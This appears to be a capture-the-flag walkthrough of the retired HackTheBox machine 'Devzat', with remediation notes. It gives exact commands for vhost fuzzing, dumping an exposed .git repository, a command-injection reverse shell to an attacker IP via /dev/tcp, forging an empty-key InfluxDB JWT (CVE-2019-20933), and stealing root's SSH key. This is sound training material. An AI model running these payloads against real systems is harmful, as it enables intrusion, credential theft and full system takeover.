Devzat
Summary
I enumerated virtual hosts on the Apache web server to find a secondary application at pets.devzat.htb. Apache directory listing was enabled on that site, exposing the full .git repository. Dumping and reading the Go source code revealed that the pet-species field in the REST API was concatenated directly into a shell command without sanitization.
Injecting a reverse-shell payload through the species parameter produced a foothold as the system user patrick. From that session, I connected to the Devzat developer chat application running over SSH on port 8000 and read cached administrator messages that disclosed InfluxDB was installed locally. InfluxDB was deployed without a shared secret, which is exploitable under CVE-2019-20933: a JWT signed with an empty key is accepted as valid, granting unauthenticated database access.
I forged such a token, queried the credentials store, and recovered catherine's plaintext password. Logging in as catherine via SSH captured the user flag. A further escalation path to root — reading the root SSH private key through a file-read command in a development build of the chat application that accepted a hardcoded password — returned root's private SSH key, and authenticating with it gave a root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Service and version scan across the three discovered ports.
$ nmap -sV -sC -p 22,80,8000 --min-rate 5000 -oN nmap-initial.txt $TARGETVirtual-host fuzz; adjust -fs to the baseline silent-response size returned by unmatched names.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.devzat.htb' -fs 0Register both discovered hostnames for local DNS resolution.
$ echo "$TARGET devzat.htb pets.devzat.htb" | sudo tee -a /etc/hostsExact commands 3
Confirm the .git directory is publicly readable before running the full dump.
$ curl -s http://pets.devzat.htb/.git/HEADReconstruct the repository from the exposed object store (pip3 install git-dumper).
$ git-dumper http://pets.devzat.htb/.git ./pets-srcLocate the command-injection sink in the recovered source code.
$ grep -n 'exec\|species\|Command\|Shell' ./pets-src/main.goFixDisable directory listing and block web access to .git directoriesHigh
Exact commands 2
Start the reverse-shell listener before submitting the payload; run in a separate terminal.
$ nc -lvnp 4444Replace $ATTACKER_IP with your HTB VPN tunnel IP. The trailing # comments out any suffix the app appends.
$ curl -s -X POST http://pets.devzat.htb/api/pet -H 'Content-Type: application/json' -d '{"name":"test","species":"cat;bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1 #"}'FixEliminate shell execution of user-supplied input in the pets APICritical
Exact commands 2
Connect to the Devzat chat app; the key-type options are required when the SSH client rejects the server's older algorithm.
$ ssh -p 8000 patrick@$TARGET -o PubkeyAcceptedKeyTypes=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsaInside the chat session: list available built-in commands to understand the application's attack surface.
$ #commandsExact commands 3
Forge the bearer token. Requires PyJWT (pip3 install pyjwt). Copy the printed string for the next two commands.
$ python3 -c "import jwt, datetime; print(jwt.encode({'username':'admin','exp': datetime.datetime.utcnow()+datetime.timedelta(hours=1)}, '', algorithm='HS256'))"Run from the patrick foothold shell. Replace <JWT_TOKEN> with the forged token. Confirms the bypass worked.
$ curl -sG 'http://localhost:8086/query' -H 'Authorization: Bearer <JWT_TOKEN>' --data-urlencode 'db=devzat' --data-urlencode 'q=SHOW DATABASES'Dump the user measurement to retrieve stored plaintext credentials.
$ curl -sG 'http://localhost:8086/query' -H 'Authorization: Bearer <JWT_TOKEN>' --data-urlencode 'db=devzat' --data-urlencode 'q=SELECT * FROM "user"'FixConfigure a strong InfluxDB shared secret to prevent JWT forgery (CVE-2019-20933)Critical
Exact commands 2
Authenticate with the InfluxDB-recovered password: $PASSWORD
$ ssh catherine@$TARGETCapture the user flag: <user.txt>
$ cat /home/catherine/user.txtExact commands 5
Forward the dev-chat port to my machine using catherine's authenticated session.
$ ssh -L 8443:127.0.0.1:8443 catherine@$TARGETConnect to the forwarded dev Devzat instance through the tunnel.
$ ssh -p 8443 catherine@127.0.0.1 -o PubkeyAcceptedKeyTypes=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsaInside the dev chat session: authenticate using the hardcoded developer password from the source.
$ /auth $PASSWORD3Trigger the file-read command; the server returns root's private SSH key verbatim.
$ /file /root/.ssh/id_ed25519Save the key output to a local file, set correct permissions, and authenticate as root. Capture: <root.txt>
$ chmod 600 ./root_id_ed25519 && ssh -i ./root_id_ed25519 root@$TARGETFixRemove the development chat build and its hardcoded credentials from the production hostCritical
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.41 |
| 8000/tcp | http recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.